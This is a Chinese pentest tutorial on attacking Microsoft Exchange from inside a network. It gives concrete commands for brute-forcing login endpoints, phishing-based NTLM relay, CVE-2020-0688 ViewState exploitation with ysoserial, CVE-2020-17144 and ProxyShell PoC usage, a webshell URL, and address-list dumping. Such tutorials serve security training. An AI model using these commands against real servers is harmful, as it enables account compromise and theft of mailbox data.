前言
当我们通过漏洞或者其它的攻击方式进入内网以后,除了做权限维持以外,最可能做的就是拿下内网内的集权系统,如域控,邮箱服务器等。今天就来看看针对邮箱服务器如何去利用。
Exchange在域内有着重要的地位,一般来说,拿到Exchange服务器的权限,基本等同于拿到域管的权限。因此它又是内网选手重点关注对象。
这是内网方面的第七篇文章,关于内网前面的几篇文章如下,大家感兴趣的可以去看看:
内网渗透:Kerberos认证协议安全性分析
内网横移:抓取域管理员密码
内网渗透:详解kerberoast攻击
内网渗透:详解Responder利用方式
内网渗透:NTML认证与PTH攻击
内网渗透:MS14-068原理以及利用
由于本人水平有限,文章中可能会出现一些错误,欢迎各位大佬指正,感激不尽。如果有什么好的想法也欢迎交流~~
Exchange简介
Exchage就是我们常说的邮箱服务器。Exchange是由微软推出的用于企业环境中部署的邮件服务器。微软对外发布的第一个Exchange版本是Exchange 4.0,最开始Exchange使用X.400目录服务,随后转向使用微软的活动目录,最开始的时候微软还提供了Microsoft Exchange Client,即Exchange邮件客户端,随后被Outlook取代
如何确认邮箱服务器的位置
1)根据DNS解析的MX去判断
MX(Mail Exchanger)记录是邮件交换记录,它指向一个邮件服务器,用于电子邮件系统发邮件时根据收信人的地址后缀来定位邮件服务器。一句话来说就是MX记录的作用是给寄信者指明某个域名的邮件服务器有哪些。
因此在内网内也可以通过这种方式去判断邮箱服务器的IP。
可以使用dig,nslookup等命令查询域名的mx记录,下面以baidu为例,在内网中查询时,一般获取到的是内网IP。
2)通过SPN定位
关于SPN前面的文章已经说过了,域内可以通过查询SPN来查找相关的服务。命令如下
setspn -Q IMAP/*
3)通过扫描端口来判断,这种方式一般不推荐,因为涉及的网段比较多
4)通过Exchange的漏洞也有可能泄露服务器的IP,下面会有介绍。
Exchange与outlook的关系
我们日常工作中接触比较多的应该就是Outlook的,用来收发邮件,那么outlook与exchange又有什么关系?
Exchage是我们常说的邮件服务器,负责的邮件的接受和发送
Outlook是邮件客户端,直接面向用户,负责从邮件服务器拉取邮件或者发送邮件到邮件服务器。
Exchange是由微软推出的用于企业环境中部署的邮件服务器。微软对外发布的第一个Exchange版本是Exchange 4.0,最开始Exchange使用X.400目录服务,随后转向使用微软的活动目录,最开始的时候微软还提供了Microsoft Exchange Client,即Exchange邮件客户端,随后被Outlook取代
客户端与服务器接收邮件的方式
邮件通信分为邮件发送和邮件接收,其中邮件发送使用统一的通信协议,即SMTP,而邮件的收取则有多种协议标准,如由早期的POP发展至今的POP3,如今使用广泛的IMAP,Exchange开发了私有的MAPI协议用于收取邮件,较新版本的Outlook通常使用MAPI与Exchange进行交互,除此之外早期的Outlook还使用称为Outlook Anywhere的RPC交互。下面介绍Exchange提供支持的访问接口和协议。
Exchange提供支持的访问接口和协议
Outlook Web App(OWA)
Exchange提供的Web邮箱,地址通常为 http://DOAMIN/owa/
Exchange Administrative Center(ECP)
Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台,地址通常为 http://DOMAIN/ecp/
Exchange Web Service(EWS,SOAP-over-HTTP)
Exchange提供了一套API编程接口可供开发者调用,用于访问Exchange服务器,与邮件、联系人、日历等功能进行交互和管理操作,在Exchange Server 2007中被提出。微软基于标准的Web Service开发EWS,EWS实现的客户端与服务端之间通过基于HTTP的SOAP交互。
Exchange功能和服务
下面介绍一下Exchange邮件的一些常用功能。
自动发现(Autodiscover)
Autodiscover自动发现是自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。如果用户账户是域账户且当前位于域环境中,通过自动发现功能用户无需输入任何凭证信息即可登陆邮箱。自动发现服务运行于客户端访问服务器(Client Access Server)上,其实质是Outlook客户端通过LDAP查询、DNS查询等,连接到指定域的Exchange的客户端访问服务器(Client Access Server)上。
自动发现的过程首先需要获取自动配置文件,然后根据配置文件进行连接和配置,获取自动配置文件的过程不展开细说了,简单来说它将找到提供自动发现服务的客户端访问服务器、访问/autodiscover/autodiscover.xml获得配置文件。
这里有个关键地方,即正确配置DNS解析,使得Outlook客户端不管是在域环境主机上还是外部网络环境,都可以正确找到自动发现服务所在的服务器。
全局地址列表(GAL)
地址列表(Address List)记录了用户在域活动目录中的基本信息和在Exchange中的邮箱地址,用于将用户在活动目录中的属性对象与邮件地址形成关联。在Exchange中管理员可以创建不同的地址列表,用于方便管理维护组织,也方便邮箱用户通过地址列表查找特定的联系人邮箱,Exchange默认会创建一些内置的地址列表,其中包含了一个Default Global Address List(默认全局地址列表),所有邮箱用户都会被加入到这个地址列表中。
Exchage攻击方式
上面了解了Exchange的一些基本知识,下面就来看看Exchage有哪些攻击面。
拿到内网机器以后,一般需要获取用户密码才能进行下一步的利用。EXchange的利用一般可以分为两种情况,就是有凭据和没有凭据两种。
没有凭据的情况下攻击手段有:爆破,泄露内网信息,配合钓鱼进行NTLM_Relay
有凭据的情况下攻击手段有:导出邮箱列表,Exchage RCE漏洞等等
邮箱爆破
针对 Exchange 服务的利用,包括各类漏洞在内,都有一个很重要的前提,就是必须要有一个有效的可登录用户账户。因此,在发现 Exchange 服务之后,最重要的一步就是获得用户账户。
当我们通过远控控制了某台办公电脑,需要获取某些用户的密码,可以通过爆破邮箱服务器。通常我们看到的是Outlook的页面,如果不带验证码的话,可以直接进行爆破,如果存在验证码,我们可以通过其它的接口进行爆破。下面的接口都支持Basic认证方式,也可以用来爆破。
/ecp
/ews
/oab
/owa
/rpc
/api
/mapi
/powershell
/autodiscover
/Microsoft-Server-ActiveSync
可以使用下面的一个工具进行爆破,可以自动寻找能够进行爆破的接口
工具:https://github.com/grayddq/EBurst
python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com
1、支持多线程爆破
2、支持字典爆破
3、支持爆破漏洞验证功能
4、支持接口认证方式识别并自动切换功能
5、支持爆破的接口如下:
https://Exchangeserver/ecp
https://Exchangeserver/ews
https://Exchangeserver/oab
https://Exchangeserver/owa
https://Exchangeserver/rpc
https://Exchangeserver/api
https://Exchangeserver/mapi
https://Exchangeserver/powershell
https://Exchangeserver/autodiscover
https://Exchangeserver/Microsoft-Server-ActiveSync
有个需要注意的点就是这款工具不支持自签名证书,我们手动改下,忽略证书错误就行
泄露内网信息
1.获取内网IP
对下面的接口删除host并且将HTTP/1.1改为HTTP/1.0可以获取内网IP
2.泄露Exchange服务器操作系统,主机名,Netbios名
原理:在type2返回Challenge的过程中,同时返回了操作系统类型,主机名,netbios名等等。这也就意味着如果我们给服务器发送一个type1的请求,服务器返回type2的响应,这一步,我们就可以得到很多信息。
nmap MAIL -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll
配合钓鱼进行NTLM_Relay
NTML中继攻击在前面的文章中原理已经说过,在这里同样可以用于攻击EXchange服务器,这种方式一般要配合钓鱼使用。发送一封钓鱼邮件,当目标打开邮件并点击链接以后就会携带认证信息到我们的工具,然后中继进行认证。获取到用户权限。
攻击效果:通过这种方式可以获取到目标机的邮件内容,邮件联系人等信息。一般会发送IT,运维这些人,由于他们的邮箱中含有较多的敏感信息。
该方式需要用到下面的工具。
工具:ExchangeRelayx
ExchangeRelayx由python实现,依赖安装完成并启动后,会启动SMB服务和2个HTTP服务,SMB服务和监听在80端口的HTTP服务用于接收受害者主机发送的认证,监听在8000端口的HTTP服务是一个管理后台,用于管理重放攻击成功的Exchange会话。该工具实现了将获取到的Net-NTLM哈希重放到真实Exchange服务器的EWS接口进行认证,通过EWS获取用户邮箱的邮件信息、附件下载、创建转发规则、查询GAL等。
使用方式:exchangeRelayx.py [-h] -t targeturl [-c] [-o HASHES.txt] [-l IP] [-p port]
启动ExchangeRelayx,将管理后台监听在本地8000端口。
python exchangeRelayx.py -t https://mail.xxx.com/-l 0.0.0.0 -p 8000
该工具会启动两个服务:http和SMB。由于我的80端口被占用,因此报错。
同时还有一个管理页面,开启到8000端口
工具已经搭建完成,现在可以给受害者邮箱发送一封邮件,包含我们的smb服务器或者http服务,当点击以后,后端就会上线该用户。
点击Go to Portal可以查看邮件内容,内部邮箱地址等等。
RCE漏洞
当然,获取权限最简单的方式还是通过RCE漏洞,EXchange服务器存在很多的RCE漏洞,但大部分利用条件比较难。比较常用的有下面几种,一般需要一个普通用户凭证。主要有CVE-2020-0688和CVE-2020-17144,cve-2022-41082
CVE-2020-0688
CVE-2020-0688是一个Exchange服务上的漏洞,利用这个漏洞,攻击者可通过Exchange服务上的普通用户权限,在服务器中以SYSTEM权限远程执行代码,从而接管整个Exchange服务器。
该漏洞执行的前提,是需要先获取到一个普通用户的用户名、口令。
影响版本
Microsoft Exchange Server 2010 Service Pack 3
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019
这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。
利用方式
1.该漏洞需要四个变量,分别为
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)
--validationalg = SHA1(默认,漏洞产生原因)
--generator=B97B4E27(基本默认)
--viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)
在这四个变量中,前两个为默认固定,viewstateuserkey和generator的值需要从经过身份验证的session中收集。viewstateuserkey可以从ASP.NET的_SessionID cookie中获取,而generator可以在一个隐藏字段__VIEWSTATEGENERATOR中找到。所有这些都可以通过浏览器中的工具轻松获取。
2.获取viewstateuserkey和generator值
普通用户登录以后,可以在https://ip/ecp/default.aspx页面下获取generator和viewstateuserkey这两个值
在Headers选项卡找到ASP.NET_SessionId的cookie
在Response选项卡搜索__VIEWSTATEGENERATOR获取字段值,如果未找到此字段,直接使用默认值B97B4E27 即可。
这步也可以用工具自动获取:https://github.com/Jumbo-WJB/CVE-2020-0688
3.利用ysoserial将上面的结果反序列化
使用ysoserial.net工具生成反序列化payload。 工具下载地址:https://github.com/pwntester/ysoserial.net/
ysoserial.exe-p ViewState -g TextFormattingRunProperties -c "calc.exe"--validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug --islegacy
4.构造攻击地址
在生成完payload代码后,需要对该代码进行URL Encode编码构造一个URL
/ecp/default.aspx?__VIEWSTATEGENERATOR=&__VIEWSTATE=
将最开始获得的__VIEWSTATEGENERATOR值替换,将URL Encode编码后的payload替换。
5.访问地址并成功执行
访问构造好的URL地址,服务器会弹出500的错误,但攻击其实成功了。
CVE-2020-17144
漏洞是由程序未正确校验cmdlet参数引起。经过身份验证的攻击者利用该漏洞可实现远程代码执行。该漏洞和 CVE-2020-0688 类似,也需要登录后才能利用,不过在利用时无需明文密码,只要具备 NTHash 即可。除了常规邮件服务与 OWA外,EWS接口也提供了利用所需的方法。漏洞的功能点本身还具备持久化功能。
影响版本
Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 31
POC地址:https://github.com/Airboi/CVE-2020-17144-EXP(github上自行查找)
可以将POC打包成exe,直接执行
CVE-2020-17144 <target> <user> <pass>
执行完之后会有个内存马,访问
http://[target]/ews/soap/?pass=命令
ProxyLogon(CVE-2021-26855+CVE-2021-27065)
POC地址:https://github.com/herwonowr/exprolog(只作为参考,github上自行查找)
攻击方式
1. 通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息。
2. 在通过LegacyDN,获取SID。
3. 然后通过合法的SID,获取exchange的有效cookie。
4. 最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作,写入一句话木马,达到控制目标的效果。
Proxyshell(CVE-2022-41080&cve-2022-41082)
poc地址:https://github.com/balki97/OWASSRF-CVE-2022-41082-POC(参考,github上自行查找)
Microsoft Exchange Server权限提升漏洞(CVE-2022-41080):经过身份认证的远程攻击者可通过Outlook Web Application (OWA)端点获得在系统上下文中执行PowerShell的权限。
Microsoft Exchange Server远程代码执行漏洞(CVE-2022-41082):具有执行PowerShell权限的远程攻击者可利用此漏洞在目标系统上执行任意代码。
可以直接运行poc脚本来执行任意命令
usage: python poc.py [-H Target] [-u username] [-p "password"] [-c cmd_file]
python poc.py -H https://192.168.0.1 -u user2 -p "123QWEasd!@#" -c cmd_file'
拿到登录凭证以后
导出邮箱列表
拿到用户权限以后,我们可以使用工具来导出所有的邮箱。导出邮箱的方式有很多,下面介绍几种使用方便的。
使用ruler
是Sensepost用Go实现的与Exchange进行命令行交互的工具Ruler,Ruler可以通过RPC/HTTP或者MAPI/HTTP的方式与Exchange进行交互,只要拥有合法的用户凭证,就可以利用Ruler执行一系列的信息侦察、定向攻击等操作
项目地址:
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email [email protected] -u daiker -p 密码 --verbose --debug abk dump -o list.txt
使用MailSniper.ps1
Powershell实现的MailSniper,主要用于后渗透阶段的一些信息收集和获取
项目地址:https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1
Get-GlobalAddressList -ExchHostname MAIL -UserName CORPdaiker -Password 密码 -OutFile global-address-list.txt
总结
本文介绍了关于EXchange服务器常用的利用方式,关于EXchange邮箱服务器的漏洞还有一些其它的利用方式,如CVE-2018-8581,在获得合法邮箱用户凭证以后,可以通过NTLM重放的方式进行提权等等方式。在实际的渗透中可以灵活利用。
参考链接
https://zhuanlan.zhihu.com/p/339329927
https://www.cnblogs.com/xiaozi/p/14481595.html
https://www.freebuf.com/articles/web/193132.html
原文始发于微信公众号(渗透安全团队):内网渗透 | 集权系统Exchange攻击面分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论